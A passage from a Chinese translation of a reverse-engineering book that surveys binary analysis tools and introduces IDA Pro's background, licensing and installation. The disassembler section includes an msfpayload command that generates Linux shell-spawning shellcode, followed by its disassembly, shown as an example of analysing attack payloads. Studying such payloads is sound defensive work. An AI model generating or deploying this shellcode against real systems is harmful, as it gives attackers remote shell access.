PEiD 具有许多与 PE Tools 重叠的附加功能,包括总结 PE 文件头、收集有关运行进程的信息以及执行基本反汇编。


^([4]) 请参阅 www.cygwin.com/

^([5]) 请参阅 www.mingw.org/

^([6]) 魔数是一些文件格式规范所要求的特殊标记值,其存在表示符合此类规范。在某些情况下,选择魔数的原因可能带有幽默感。在 MS-DOS 可执行文件头中的MZ标记代表 Mark Zbikowski 的缩写,他是 MS-DOS 的原始架构师之一,而与 Java .class 文件关联的众所周知的魔数0xcafebabe被选择,因为它是一串易于记忆的十六进制数字。

^([7]) 请参阅 petools.org.ru/petools.shtml

^([8]) 请参阅 peid.info/

^([9]) 请参阅 securityresponse.symantec.com/security_response/writeup.jsp?docid=2003-112112-1102-99

摘要工具

由于我们的目标是逆向工程二进制程序文件,我们需要更复杂的工具来提取文件初步分类后的详细信息。本节讨论的工具,由于必要性,对它们处理的文件格式有更深入的了解。在大多数情况下,这些工具理解一个非常具体的文件格式,并且这些工具被用来解析输入文件以提取非常具体的信息。

nm

当源文件被编译成对象文件时,编译器必须嵌入有关任何全局(外部)符号位置的信息,以便链接器在将对象文件组合成可执行文件时能够解析对这些符号的引用。除非指示从最终可执行文件中删除符号,否则链接器通常会将符号从对象文件中传递到生成的可执行文件中。根据 man 页面,nm 工具的目的是“列出对象文件中的符号”。

当使用 nm 检查一个中间对象文件(一个 .o 文件而不是可执行文件)时,默认输出会显示文件中声明的任何函数和全局变量的名称。以下是 nm 工具的示例输出:

idabook# `gcc -c ch2_example.c`
idabook# `nm ch2_example.o`
         U __stderrp
         U exit
         U fprintf
00000038 T get_max
00000000 t hidden
00000088 T main
00000000 D my_initialized_global
00000004 C my_unitialized_global
         U printf
         U rand
         U scanf
         U srand
         U time
00000010 T usage
idabook#

在这里,我们可以看到 nm 列出了每个符号以及一些关于符号的信息。字母代码用于指示所列符号的类型。在这个例子中,我们可以看到以下字母代码,我们将现在解释它们:

U 一个未定义的符号,通常是一个外部符号引用。
T 定义在文本节中的符号,通常是一个函数名。
t 定义在文本节中的局部符号。在一个 C 程序中,这通常等同于一个静态函数。
D 一个初始化的数据值。
C 一个未初始化的数据值。

注意

用来表示全局符号的大写字母代码,而用来表示局部符号的小写字母代码。关于字母代码的完整解释可以在 nm 的 man 页面中找到。

当使用 nm 来显示可执行文件中的符号时,会显示更多一些的信息。在链接过程中,符号被解析为虚拟地址(如果可能的话),这使得当运行 nm 时可以获得更多信息。以下是使用 nm 在可执行文件上截取的示例输出:

idabook# `gcc -o ch2_example ch2_example.c`
idabook# `nm ch2_example`
         <. . .>
         U exit
         U fprintf
080485c0 t frame_dummy
08048644 T get_max
0804860c t hidden
08048694 T main
0804997c D my_initialized_global
08049a9c B my_unitialized_global
08049a80 b object.2
08049978 d p.0
         U printf
         U rand
         U scanf
         U srand
         U time
0804861c T usage
idabook#

在这一点上,一些符号(例如 main)已经被分配了虚拟地址,一些新的符号(例如 frame_dummy)由于链接过程而被引入,一些(例如 my_unitialized_global)已经改变了它们的符号类型,还有一些由于继续引用外部符号而仍然是未定义的。在这种情况下,我们正在检查的二进制文件是动态链接的,未定义的符号在共享 C 库中定义。有关 nm 的更多信息,可以在其关联的 man 页面中找到。

ldd

当创建一个可执行文件时,必须解析该可执行文件引用的任何库函数的位置。链接器有两种解析库函数调用的方法:静态链接动态链接。提供给链接器的命令行参数决定了使用哪种方法。一个可执行文件可以是静态链接的、动态链接的,或者两者都是。¹⁰]

当请求静态链接时,链接器将应用程序的对象文件与所需库的副本组合在一起以创建可执行文件。在运行时,无需定位库代码,因为它已经包含在可执行文件中。静态链接的优点是(1)它导致函数调用略微更快,以及(2)二进制文件的分发更容易,因为无需对用户系统上库代码的可用性做出假设。静态链接的缺点包括(1)生成的可执行文件更大,以及(2)当库组件发生变化时,升级程序更加困难。由于每次库发生变化时都必须重新链接,因此程序更新更加困难。从逆向工程的角度来看,静态链接使问题变得复杂。如果我们面临分析静态链接二进制文件的任务,就没有简单的方法来回答“哪些库被链接到这个二进制文件中?”和“这些函数中哪个是库函数?”等问题。第十二章将讨论在逆向工程静态链接代码时遇到的挑战。

动态链接与静态链接的不同之处在于,链接器无需复制任何所需的库。相反,链接器只需将任何所需库的引用(通常是.so.dll文件)插入到最终的执行文件中,通常导致可执行文件更小。当使用动态链接时,升级库代码要容易得多。由于维护单个库副本,并且许多二进制文件引用该副本,因此用新版本替换单个过时的库可以立即更新所有使用该库的二进制文件。使用动态链接的一个缺点是它需要一个更复杂的加载过程。所有必要的库都必须定位并加载到内存中,而不是加载一个包含所有库代码的静态链接文件。动态链接的另一个缺点是,供应商必须分发自己的可执行文件以及该可执行文件所依赖的所有库文件。在系统不包含所有必需的库文件的情况下尝试执行程序将导致错误。

以下输出演示了创建程序动态和静态链接版本的过程,生成的二进制文件的大小,以及file如何识别这些二进制文件:

idabook# `gcc -o ch2_example_dynamic ch2_example.c`
idabook# `gcc -o ch2_example_static ch2_example.c --static`
idabook# `ls -l ch2_example_*`
-rwxr-xr-x  1 root  wheel    6017 Sep 26 11:24 ch2_example_dynamic
-rwxr-xr-x  1 root  wheel  167987 Sep 26 11:23 ch2_example_static
idabook# `file ch2_example_*`
ch2_example_dynamic: ELF 32-bit LSB executable, Intel 80386, version 1
        (FreeBSD), dynamically linked (uses shared libs), not stripped
ch2_example_static:  ELF 32-bit LSB executable, Intel 80386, version 1
        (FreeBSD), statically linked, not stripped
idabook#

为了使动态链接正常工作,动态链接的二进制文件必须指明它们依赖的库以及从每个库中需要的特定资源。因此,与静态链接的二进制文件不同,确定动态链接二进制文件依赖的库相当简单。ldd (列出动态依赖) 实用程序是一个简单的工具,用于列出任何可执行文件所需的动态库。在以下示例中,使用 ldd 确定 Apache 网络服务器依赖的库:

idabook# `ldd /usr/local/sbin/httpd`
/usr/local/sbin/httpd:
        libm.so.4 => /lib/libm.so.4 (0x280c5000)
        libaprutil-1.so.2 => /usr/local/lib/libaprutil-1.so.2 (0x280db000)
        libexpat.so.6 => /usr/local/lib/libexpat.so.6 (0x280ef000)
        libiconv.so.3 => /usr/local/lib/libiconv.so.3 (0x2810d000)
        libapr-1.so.2 => /usr/local/lib/libapr-1.so.2 (0x281fa000)
        libcrypt.so.3 => /lib/libcrypt.so.3 (0x2821a000)
        libpthread.so.2 => /lib/libpthread.so.2 (0x28232000)
        libc.so.6 => /lib/libc.so.6 (0x28257000)
idabook#

ldd 实用程序在 Linux 和 BSD 系统上可用。在 OS X 系统上,可以使用带有 –L 选项的 otool 实用程序实现类似的功能:otool -L filename。在 Windows 系统上,可以使用 Visual Studio 工具套件中的 dumpbin 实用程序列出依赖库:dumpbin /dependents filename

objdump

虽然 ldd 相对专业,但 objdump 非常灵活。objdump 的目的是“显示对象文件中的信息。”^([11]) 这是一个相当广泛的目标,为了实现它,objdump 响应大量(30+)的命令行选项,这些选项针对从对象文件中提取各种信息。objdump 可以用来显示与对象文件相关的以下数据(等等):

段头信息

程序文件中每个段的摘要信息。

私有头信息

程序内存布局信息以及其他由运行时加载器所需的信息,包括由 ldd 产生的所需库列表。

调试信息

从程序文件中提取任何嵌入的调试信息。

符号信息

以类似于 nm 实用程序的方式转储符号表信息。

反汇编列表

objdump 对标记为代码的文件部分执行线性扫描反汇编。当反汇编 x86 代码时,objdump 可以生成 AT&T 或 Intel 语法,并将反汇编内容捕获为文本文件。这样的文本文件称为反汇编 死列表,虽然这些文件当然可以用于逆向工程,但它们难以有效地导航,甚至更难以以一致且无错误的方式修改。

objdump 是 GNU binutils^([12]) 工具套件的一部分,可在 Linux、FreeBSD 和 Windows(通过 Cygwin)上找到。objdump 依赖于二进制文件描述符库(libbfd),这是 binutils 的一个组件,用于访问对象文件,因此能够解析由 libbfd 支持的文件格式(ELF 和 PE 等等)。对于 ELF 特定的解析,还有一个名为 readelf 的实用程序可用。readelf 提供了与 objdump 大多数相同的功能,两者之间的主要区别在于 readelf 不依赖于 libbfd。

otool

otool 最容易描述为类似于 objdump 的实用工具,用于解析关于 OS X Mach-O 二进制文件的信息。以下列表展示了 otool 如何显示 Mach-O 二进制文件的动态库依赖关系,从而执行类似于 ldd 的功能。

idabook# `file osx_example`
osx_example: Mach-O executable ppc
idabook# `otool -L osx_example`
osx_example:
        /usr/lib/libstdc++.6.dylib (compatibility
 version 7.0.0, current version 7.4.0)
        /usr/lib/libgcc_s.1.dylib (compatibility version 1.0.0, current version 1.0.0)
        /usr/lib/libSystem.B.dylib (compatibility
 version 1.0.0, current version 88.1.5)

otool 可以用来显示与文件头和符号表相关的信息,以及执行文件代码段的反汇编。有关 otool 功能的更多信息,请参阅相关的手册页面。

dumpbin

dumpbin 是微软 Visual Studio 工具套件中包含的命令行实用工具。像 otoolobjdump 一样,dumpbin 能够显示与 Windows PE 文件相关的广泛信息。以下列表展示了 dumpbin 如何以类似于 ldd 的方式显示 Windows 计算器程序的动态依赖关系。

$ `dumpbin /dependents calc.exe`
Microsoft (R) COFF/PE Dumper Version 8.00.50727.762
Copyright (C) Microsoft Corporation.  All rights reserved.

Dump of file calc.exe

File Type: EXECUTABLE IMAGE

  Image has the following dependencies:

    SHELL32.dll
    msvcrt.dll
    ADVAPI32.dll
    KERNEL32.dll
    GDI32.dll
    USER32.dll

dumpbin 的附加选项提供了从 PE 二进制文件的不同部分提取信息的能力,包括符号、导入函数名称、导出函数名称和反汇编代码。有关 dumpbin 的更多信息,请参阅微软开发者网络(MSDN)。^([13])

c++filt

允许函数重载的语言必须有一种机制来区分函数的许多重载版本,因为每个版本都有相同的名称。以下 C++示例显示了名为 demo 的几个重载版本的函数原型:

void demo(void);
void demo(int x);
void demo(double x);
void demo(int x, double y);
void demo(double x, int y);
void demo(char* str);

通常情况下,在目标文件中不允许存在两个同名函数。为了允许函数重载,编译器通过结合描述函数参数类型序列的信息来为重载函数生成唯一的名称。为具有相同名称的函数生成唯一名称的过程称为名称混淆。^([14]) 如果我们使用 nm 从前面 C++代码的编译版本中导出符号,我们可能会看到如下内容(过滤以关注 demo 的版本):

idabook# `g++ -o cpp_test cpp_test.cpp`
idabook# `nm cpp_test | grep demo`
0804843c T _Z4demoPc
08048400 T _Z4demod
08048428 T _Z4demodi
080483fa T _Z4demoi
08048414 T _Z4demoid
080483f4 T _Z4demov

C++标准没有定义名称混淆方案的标准,这留给编译器设计者开发自己的方案。为了解读这里显示的 demo 的混淆版本,我们需要一个理解我们编译器(在这种情况下是 g++)名称混淆方案的工具。这正是 c++filt 工具的目的。c++filt 将每个输入词视为混淆名称,然后尝试确定生成该名称的编译器。如果名称看起来是一个有效的混淆名称,它将输出名称的解混淆版本。当 c++filt 识别不出一个词为混淆名称时,它将简单地输出该词而不做任何更改。

如果我们将前面示例中的 nm 结果通过 c++filt 传递,就有可能恢复解混淆的函数名称,如下所示:

idabook# `nm cpp_test | grep demo | c++filt`
0804843c T demo(char*)
08048400 T demo(double)
08048428 T demo(double, int)
080483fa T demo(int)
08048414 T demo(int, double)
080483f4 T demo()

需要注意的是,混淆名称包含关于函数的额外信息,这些信息是 nm 通常不提供的。这种信息在逆向工程情况下可能非常有用,在更复杂的情况下,这些额外信息可能包括有关类名或函数调用约定的数据。


^([10]) 关于链接的更多信息,请咨询 John R. Levine 的著作 链接器和加载器(旧金山:Morgan Kaufmann,2000 年)。

^([11]) 请参阅 www.sourceware.org/binutils/docs/binutils/objdump.html#objdump/

^([12]) 请参阅 www.gnu.org/software/binutils/

^([13]) 请参阅 msdn.microsoft.com/en-us/library/c1h23y6c(VS.71).aspx

^([14]) 关于名称混淆的概述,请参阅 en.wikipedia.org/wiki/Name_mangling

深度检查工具

到目前为止,我们已经讨论了基于对文件内部结构最少了解进行文件粗略分析的工具。我们也看到了能够根据对文件结构的非常详细的知识从文件中提取特定数据点的工具。在本节中,我们将讨论旨在独立于被分析文件类型提取特定类型信息的工具。

strings

有时询问有关文件内容的一般性问题是有用的,这些问题不一定需要任何特定于文件结构的知识。这样一个问题就是:“这个文件是否包含任何嵌入的字符串?”当然,我们首先必须回答“究竟什么构成了一个字符串?”让我们松散地定义一个 字符串 为可打印字符的连续序列。这个定义通常会被扩展以指定最小长度和特定的字符集。因此,我们可以指定搜索所有至少由四个连续 ASCII 可打印字符组成的序列,并将结果打印到控制台。对这种字符串的搜索通常不会受到文件结构的任何限制。你可以在 ELF 二进制文件中搜索字符串,就像你可以在 Microsoft Word 文档中搜索字符串一样。

strings 工具专门设计用于从文件中提取字符串内容,通常不考虑这些文件的格式。使用 strings 的默认设置(至少四个字符的 7 位 ASCII 序列)可能会得到如下结果:

idabook# `strings ch2_example`
/lib/ld-linux.so.2
__gmon_start__
libc.so.6
_IO_stdin_used
exit
srand
puts
time
printf
stderr
fwrite
scanf
__libc_start_main
GLIBC_2.0
PTRh
[^_]
usage: ch2_example [max]
A simple guessing game!
Please guess a number between 1 and %d.
Invalid input, quitting!
Congratulations, you got it in %d attempt(s)!
Sorry too low, please try again
Sorry too high, please try again

不幸的是,虽然我们看到了一些看起来可能是程序输出的字符串,但其他字符串似乎是函数名和库名。我们应该小心不要对程序的行为得出任何结论。分析师常常陷入根据 strings 输出推断程序行为的陷阱。记住,二进制文件中字符串的存在并不能表明该字符串以任何方式被该二进制文件使用。

关于 strings 的使用的一些注意事项:

  • 当在可执行文件上使用 strings 时,重要的是要记住,默认情况下,只有文件的可加载、初始化部分会被扫描。使用 -a 命令行参数可以强制 strings 扫描整个输入文件。

  • strings 命令无法提供字符串在文件中的具体位置信息。使用 -t 命令行参数可以让 strings 打印出每个找到的字符串的文件偏移量信息。

  • 许多文件使用替代字符集。使用 -e 命令行参数可以让 strings 搜索宽字符,如 16 位 Unicode。

反汇编器

如前所述,有几种工具可以生成类似 dead listing 风格的二进制对象文件反汇编。PE、ELF 和 Mach-O 二进制文件分别可以使用 dumpbinobjdumpotool 进行反汇编。然而,这些工具都无法处理任意块的二进制数据。你偶尔会遇到不符合广泛使用文件格式的二进制文件,在这种情况下,你需要能够从用户指定的偏移量开始反汇编过程的工具。

以下是对此类 流反汇编器 的 x86 指令集的两个示例:ndisasmdiStorm。^([15]) ndisasm 是 Netwide Assembler (NASM) 包含的一个实用工具。^([16]) 以下示例说明了如何使用 ndisasm 反汇编由 Metasploit 框架生成的 shellcode。^([17])

idabook# `./msfpayload linux/x86/shell_findport CPORT=4444 R > fs`
idabook# `ls -l fs`
-rw-r--r-- 1 ida ida 62 Dec 11 15:49 fs
idabook# `ndisasm -u fs`
00000000  31D2              xor edx,edx
00000002  52                push edx
00000003  89E5              mov ebp,esp
00000005  6A07              push byte +0x7
00000007  5B                pop ebx
00000008  6A10              push byte +0x10
0000000A  54                push esp
0000000B  55                push ebp
0000000C  52                push edx
0000000D  89E1              mov ecx,esp
0000000F  FF01              inc dword [ecx]
00000011  6A66              push byte +0x66
00000013  58                pop eax
00000014  CD80              int 0x80
00000016  66817D02115C      cmp word [ebp+0x2],0x5c11
0000001C  75F1              jnz 0xf
0000001E  5B                pop ebx
0000001F  6A02              push byte +0x2
00000021  59                pop ecx
00000022  B03F              mov al,0x3f
00000024  CD80              int 0x80
00000026  49                dec ecx
00000027  79F9              jns 0x22
00000029  52                push edx
0000002A  682F2F7368        push dword 0x68732f2f
0000002F  682F62696E        push dword 0x6e69622f
00000034  89E3              mov ebx,esp
00000036  52                push edx
00000037  53                push ebx
00000038  89E1              mov ecx,esp
0000003A  B00B              mov al,0xb
0000003C  CD80              int 0x80

流反汇编的灵活性在许多情况下都很有用。一种场景涉及分析计算机网络攻击,其中网络数据包可能包含 shellcode。流反汇编器可以用来反汇编包含 shellcode 的数据包部分,以便分析恶意负载的行为。另一种情况涉及分析无法找到布局参考的 ROM 图像。ROM 的某些部分将包含数据,而其他部分将包含代码。流反汇编器可以用来反汇编被认为可能是代码的那些图像部分。


^([15]) 请参阅 www.ragestorm.net/distorm/

^([16]) 请参阅 nasm.sourceforge.net/

^([17]) 请参阅 www.metasploit.com/

摘要

本章讨论的工具并不一定是同类中的最佳选择。然而,它们确实代表了那些希望逆向工程二进制文件的人通常可以获得的工具。更重要的是,它们代表了激发 IDA 大部分开发工作的工具类型。在接下来的章节中,我们将讨论这些工具。对这些工具的了解将大大增强你对 IDA 用户界面以及 IDA 提供的众多信息显示的理解。

第三章。IDA Pro 背景

无标题图片

交互式反汇编器专业版,更广为人知的是IDA Pro或简称IDA,是位于比利时列日市的 Hex-Rays 公司的一个产品。IDA 背后的编程天才伊尔法克·古尔法诺夫,更广为人知的是伊尔法克。IDA 的生命始于十多年前,作为一个基于 MS-DOS 的控制台应用程序,这在很大程度上有助于我们了解 IDA 用户界面的本质。在众多方面,IDA 的非 GUI 版本适用于所有 IDA 支持的平台^([19]),并且继续使用从原始 DOS 版本派生出的控制台风格界面。

在本质上,IDA 是一个递归下降反汇编器;然而,大量的努力已经投入到开发逻辑中,以增强递归下降过程。为了克服递归下降的一个较大缺陷,IDA 采用大量启发式技术来识别在递归下降过程中可能未被发现的其他代码。在反汇编过程本身之外,IDA 还竭尽全力不仅区分数据反汇编和代码反汇编,而且确定那些数据反汇编所代表的确切数据类型。虽然你在 IDA 中看到的代码是汇编语言,但 IDA 的一个基本目标就是尽可能接近源代码地描绘一幅图景。IDA 竭尽全力对生成的反汇编进行注释,不仅包括数据类型信息,还包括派生变量和函数名称。这些注释最大限度地减少了原始十六进制代码的数量,并最大化了向用户展示的符号信息量。

Hex-Rays 对盗版的立场

作为 IDA 用户,你应该意识到几个事实。IDA 是 Hex-Rays 的旗舰产品;因此,它非常关注 IDA 的未经授权的分发。在过去,公司已经看到了 IDA 盗版版本发布和销售下降之间的直接因果关系。IDA 的前出版商 DataRescue 甚至将海盗的名字贴在了其耻辱柱上^([20])。因此,IDA 利用几种反盗版技术来遏制盗版并执行许可限制。

需要注意的第一种技术:每个 IDA 副本都会被水印,以便将其唯一地与其购买者联系起来。如果 IDA 的副本出现在 warez 网站上,Hex-Rays 有追踪该副本回到原始购买者的能力,然后该购买者将被列入未来销售的 blacklist。在 Hex-Rays 的 IDA 支持论坛上找到与“泄露”的 IDA 副本相关的讨论并不罕见。

IDA 使用的另一种技术来强制执行其许可政策涉及在本地网络中扫描运行 IDA 的额外副本。当启动 IDA 的 Windows 版本时,会在端口 23945 上广播一个 UDP 数据包,并且 IDA 等待响应以查看是否在同一子网上存在运行在相同许可证密钥下的 IDA 的其他实例。将响应的数量与许可证适用的座位数进行比较,如果网络中找到的副本太多,IDA 将拒绝启动。但是请注意,使用单个许可证在单台计算机上运行多个 IDA 实例是允许的。

许可证执行的最终方法集中在使用与每个购买者关联的密钥文件。启动时,IDA 会搜索有效的ida.key文件。如果找不到有效的密钥文件,IDA 将立即关闭。密钥文件还用于确定升级 IDA 副本的资格。本质上,ida.key代表您的购买收据,您应该妥善保管它以确保您有资格进行未来的升级。


^([18]) 多年来,IDA 由 DataRescue 进行市场推广;然而,在 2008 年 1 月,Ilfak 将 IDA 的市场营销和销售转移到了他自己的公司,Hex-Rays。

^([19]) 当前支持的平台是 Windows、Linux 和 OS X。

^([20]) 恶名昭彰的网站已迁移到 Hex-Rays 网站:www.hex-rays.com/idapro/hallofshame.html

获取 IDA Pro

首先要明确的是,IDA 不是免费软件。Hex-Rays 的人部分通过 IDA 的销售谋生。对于希望熟悉其基本功能的人来说,IDA 有一个有限功能的免费软件版本,但它并不与最新版本保持同步。在附录 A 中更详细地讨论了免费软件版本,它是 IDA 5.0(当前版本为 6.1)的简化版。除了免费软件版本外,Hex-Rays 还分发当前版本的有限功能演示版。如果任何地方关于逆向工程讨论的狂热评论不足以说服您购买副本,那么花些时间使用免费软件或演示版本肯定有助于您认识到 IDA 及其附带客户支持是值得拥有的。

IDA 版本

自 6.0 版本起,IDA 在 Windows、Linux 和 OS X 上提供图形用户界面(GUI)和控制台版本。IDA 利用 Qt 跨平台 GUI 库在所有三个平台上提供一致的用户界面。从功能角度来看,IDA Pro 提供两种版本:标准版和高级版。这两个版本的主要区别在于它们支持的处理器架构数量。快速查看支持的处理器列表^([23]) 可以看出,标准版(截至本文撰写时约为 540 美元)支持超过 30 个处理器系列,而高级版(价格几乎是标准版的两倍)支持超过 50 个。高级版还支持其他架构,包括 x64、AMD64、MIPS、PPC 和 SPARC 等。

IDA 许可证

当您购买 IDA 时,有两种许可选项可用。从 Hex-Rays 网站上可以看到:^([24)) “命名许可证与特定最终用户相关联,并且可以在该特定最终用户使用的任何多台计算机上使用,”而“计算机许可证与特定计算机相关联,并且只要任何时候只有一个用户活跃,就可以由不同的最终用户在该计算机上使用。”请注意,尽管单个命名许可证使您有权在您喜欢的任何多台计算机上安装软件,但您是唯一可以运行这些 IDA 副本的人,并且对于单个许可证,IDA 在任何给定时间只能在一台计算机上运行。

注意

与许多专有软件的软件许可不同,IDA 的许可特别授予用户逆向工程 IDA 的权利。

购买 IDA

在 6.0 版本之前,IDA 购买包括 Windows GUI 版本以及 Windows、Linux 和 OS X 的控制台版本。从 6.0 版本开始,购买者必须明确指定他们希望在哪个操作系统上运行 IDA 的副本。每个 IDA 6.x 版本的副本仅包括指定操作系统的控制台和基于 Qt 的 GUI 版本。对于其他操作系统的额外许可证以较低的价格提供。您可以通过 IDA 销售网页上列出的授权分销商或直接通过 Hex-Rays 通过传真或电子邮件购买 IDA。购买的副本可以通过 CD 发送或下载,并且使购买者有权获得一年的支持和升级。除了 IDA 安装程序外,CD 分发还包含各种额外内容,如 IDA 软件开发工具包(SDK)和其他实用程序。选择下载其购买的 IDA 副本的用户通常只会收到安装程序包,并需要单独下载其他组件。

Hex-Rays 因其在某些国家的盗版经验而众所周知,会根据这些国家的经验限制对这些国家的销售。它还维护一个违反 IDA 许可协议的用户黑名单,并且可能拒绝与这些用户及其雇主进行交易。

升级 IDA

IDA 帮助菜单中包含一个检查可用升级的选项。此外,IDA 将根据您密钥文件中的到期日期自动发出警告,通知您的支持期即将到期。升级过程通常涉及将您的 ida.key 文件提交给 Hex-Rays,然后 Hex-Rays 将验证您的密钥,并提供有关如何获取升级版本的详细信息。如果您发现您的 IDA 版本太旧,不符合升级资格,请务必利用 Hex-Rays 为过期密钥持有者提供的降低升级价格。

警告

如果未能对您的密钥文件进行严格控制,可能会导致未经授权的用户请求您的升级,从而阻止您升级您的 IDA 版本。

作为对升级任何版本 IDA 的最后一点说明,我们强烈建议您备份现有的 IDA 安装,或将升级安装到完全不同的目录,以避免丢失您可能已修改的任何配置文件。您将需要编辑升级版本中的相应文件,以重新启用您之前所做的任何更改。同样,您还需要移动、重新编译或以其他方式获取您可能正在使用的任何自定义 IDA 插件的最新版本(有关插件和插件安装过程,请参阅第十七章“第十七章. IDA 插件架构”)。


^([21]) 请参阅 www.hex-rays.com/idapro/idadownfreeware.htm

^([22]) 请参阅 www.hex-rays.com/idapro/idadowndemo.htm

^([23]) 请参阅 www.hex-rays.com/idapro/idaproc.htm

^([24]) 请参阅 www.hex-rays.com/idapro/idaorder.htm

IDA 支持资源

作为 IDA 用户,当您有与 IDA 相关的问题时,可能会想知道您可以去哪里寻求帮助。如果我们做得足够好,这本书在大多数情况下就足够了。当您发现自己需要额外的帮助时,以下是一些流行的资源:

官方帮助文档

IDA 随附菜单激活的帮助系统,但它主要是对 IDA 用户界面和脚本子系统的概述。对于 IDA SDK,没有可用的帮助,当您有像“我该如何做 x?”这样的问题时,也没有太多帮助。

Hex-Rays 的支持页面和论坛

Hex-Rays 提供了一个支持页面^([25]),其中包含指向各种与 IDA 相关资源的链接,包括可供授权用户访问的在线论坛。用户会发现 Ilfak 和其他核心 Hex-Rays 程序员是论坛的频繁贡献者。论坛也是 SDK 非官方支持的良好起点,因为许多经验丰富的 IDA 用户愿意根据他们的个人经验提供帮助。

关于 SDK 的使用问题通常以“阅读包含文件”来回答。IDA 的官方支持不包括在 IDA 的购买中;然而,Hex-Rays 提供了一项年度支持计划,年费为 10,000 美元(没错:10K)。熟悉 SDK 的一个极好资源是 Steve Micallef 所著的“IDA 插件编写(C/C++)”。^([26])

OpenRCE.org

www.openrce.org/ 存在一个充满活力的逆向工程社区,其中包含许多与 IDA 新颖用途相关的文章以及活跃的用户论坛。与 Hex-Rays 的论坛类似,OpenRCE.org 吸引了大量的经验丰富的 IDA 用户,他们通常非常愿意分享如何解决你可能在 IDA 中遇到的几乎所有问题的建议。

RCE 论坛

www.woodmann.com/ 的 Reverse Code Engineering (RCE) 论坛中,有无数篇与 IDA Pro 使用相关的帖子。然而,论坛的焦点远不止 IDA Pro 的使用,它广泛覆盖了许多对二进制逆向工程师有用的工具和技术。

IDA 宫殿

尽管它曾遇到寻找永久居所的问题,IDA 宫殿^([27]) 是一个专门用于托管与 IDA 相关资源的网站。访问者可以期待找到与 IDA 使用相关的各种论文链接,以及扩展 IDA 功能的脚本和插件。

Ilfak 的博客

最后,Ilfak 的博客^([28]) 经常包含详细说明如何使用 IDA 解决各种问题的帖子,从一般的反汇编到调试和恶意软件分析。此外,其他 Hex-Rays 团队成员的帖子经常详细介绍了 IDA 的最新功能以及正在开发中的功能。


^([25]) 请参阅 www.hex-rays.com/idapro/idasupport.htm

^([26]) 请参阅 www.binarypool.com/idapluginwriting/idapw.pdf

^([27]) 请参阅 old.idapalace.net/

^([28]) 请参阅 www.hexblog.com/

您的 IDA 安装

当你从收到闪亮的新 IDA 光盘的初始兴奋中平静下来,开始安装 IDA 的任务时,你会发现光盘包含名为 utilitiessdk 的目录,分别包含各种附加实用程序和 IDA 软件开发套件。这些将在本书的后续部分详细讨论。在光盘的根目录中,你可以找到一个安装二进制文件。对于 Windows 用户,这个二进制文件是一个传统的 Windows 安装程序可执行文件。对于 Linux 和 OS X 用户,安装二进制文件是一个压缩的 .tar 文件。

Windows 安装

在 Windows 上安装 IDA 非常简单。IDA 的 Windows 安装程序需要一个密码,该密码随 CD 提供或如果您下载了 IDA 的副本,将通过电子邮件提供。启动 Windows 安装程序会引导您通过几个信息对话框,其中只有一个需要您思考。如图 图 3-1 所示,您将有机会指定安装位置或接受安装程序建议的默认位置。无论您选择默认位置还是指定其他位置,在此书余下的部分,我们将把您选择的安装位置称为 <IDADIR>。在您的 IDA 目录中,您将找到您的密钥文件 ida.key 以及以下 IDA 可执行文件:

  • idag.exe 是 IDA 的 Windows 原生 GUI 版本。从版本 6.2 开始,此文件将不再随 IDA 一起提供。

  • idaq.exe 是 IDA 的 Windows Qt GUI 版本(版本 6.0 及以后)。

  • idaw.exe 是 IDA 的 Windows 文本模式版本。

选择您的安装位置

图 3-1. 选择您的安装位置

随着 IDA 版本 6.0 中 Qt 跨平台 GUI 库的引入,IDA 的原生 Windows 版本 (idag.exe) 已被弃用,并且从版本 6.2 开始将不再随 IDA 一起提供。

OS X 和 Linux 安装

在 OS X 或 Linux 上安装时,请将相应的存档文件使用 gunzipuntar 命令解压缩到您选择的任何位置。在 Linux 系统上,它可能看起来像这样:

# `tar -xvzf ida61l.tgz`

在 OS X 系统上,它可能看起来像这样:

# `tar -xvzf ida61m.tgz`

在任何情况下,您都将有一个名为 ida 的顶级目录,其中包含所有必需的文件。

对于 OS X 和 Linux,GUI 版本的名称是 idaq,控制台版本的名称是 idal。控制台版本的外观与 IDA 的 Windows 控制台版本非常相似,如图 图 3-2 所示。Linux 用户可能需要验证(使用 ldd)IDA 所需的所有共享库是否都可用。特别是有一个插件,IDAPython,它期望找到已安装的 Python 2.6 版本。您可能需要升级您的 Python 安装或创建必要的符号链接以满足 IDA 的要求。

IDA Pro 的控制台版本

图 3-2. IDA Pro 的控制台版本

IDA 和 SELinux

如果您是启用了 SELinux 的 Linux 用户,您可能会发现当尝试加载您想要的处理器模块时,IDA 会抱怨“无法将可执行堆栈作为共享对象启用”。可以使用 execstack 命令按模块修复此问题,如下所示:

execstack -c <IDADIR>/procs/pc.ilx

32 位 vs. 64 位 IDA

使用 IDA 高级版本的用户会注意到,他们有两个版本的每个 IDA 可执行文件,例如 idag.exeidag64.exeidaqidaq64。版本之间的区别在于 idax64 能够反汇编 64 位代码;然而,所有的 IDA 可执行文件本身都是 32 位代码。因此,在 64 位平台上运行 IDA 的用户需要确保 IDA 所需的任何支持软件都提供 32 位版本。例如,如果 64 位 Linux 用户希望使用 IDAPython 进行脚本编写,他们必须确保已安装 32 位版本的 Python。有关混合 32 位和 64 位软件的详细信息,请参阅操作系统的文档。

IDA 目录布局

在开始使用 IDA 之前,对 IDA 安装内容的即时熟悉绝对不是必需的。然而,由于我们目前关注的是您的新 IDA 安装,让我们先看看基本布局。随着您使用书中稍后介绍的 IDA 更高级功能,对 IDA 目录结构的理解将变得更加重要。以下是 IDA 安装中每个子目录的简要描述(对于 Windows 和 Linux 用户,这些位于 下;对于 OS X 用户,这些位于 /idaq.app/Contents/MacOS 下):

cfg

cfg 目录包含各种配置文件,包括基本的 IDA 配置文件 ida.cfg,GUI 配置文件 idagui.cfg,以及文本模式用户界面配置文件 idatui.cfg。IDA 中一些更有用的配置功能将在第十一章(第十一章. 自定义 IDA)中介绍。

idc

idc 目录包含 IDA 内置脚本语言 IDC 所需的核心文件。使用 IDC 脚本将在第十五章(第十五章. IDA 脚本)中更详细地介绍。

ids

ids 目录包含符号文件(在 IDA 术语中称为 IDS 文件),描述可能被加载到 IDA 中的二进制文件引用的共享库的内容。这些 IDS 文件包含摘要信息,列出了从给定库导出的所有条目。这些条目描述了函数所需的类型和参数数量,函数的返回类型(如果有),以及函数使用的调用约定。

加载器

加载器 目录包含在文件加载过程中使用的 IDA 扩展,用于识别和解析已知文件格式,如 PE 或 ELF 文件。IDA 加载器将在第十八章(第十八章. 二进制文件和 IDA 加载器模块)中更详细地讨论。

插件

插件 目录包含为 IDA 提供额外(在大多数情况下是用户定义)行为的 IDA 模块。IDA 插件将在第十七章(第十七章. IDA 插件架构)中更详细地讨论。

进程

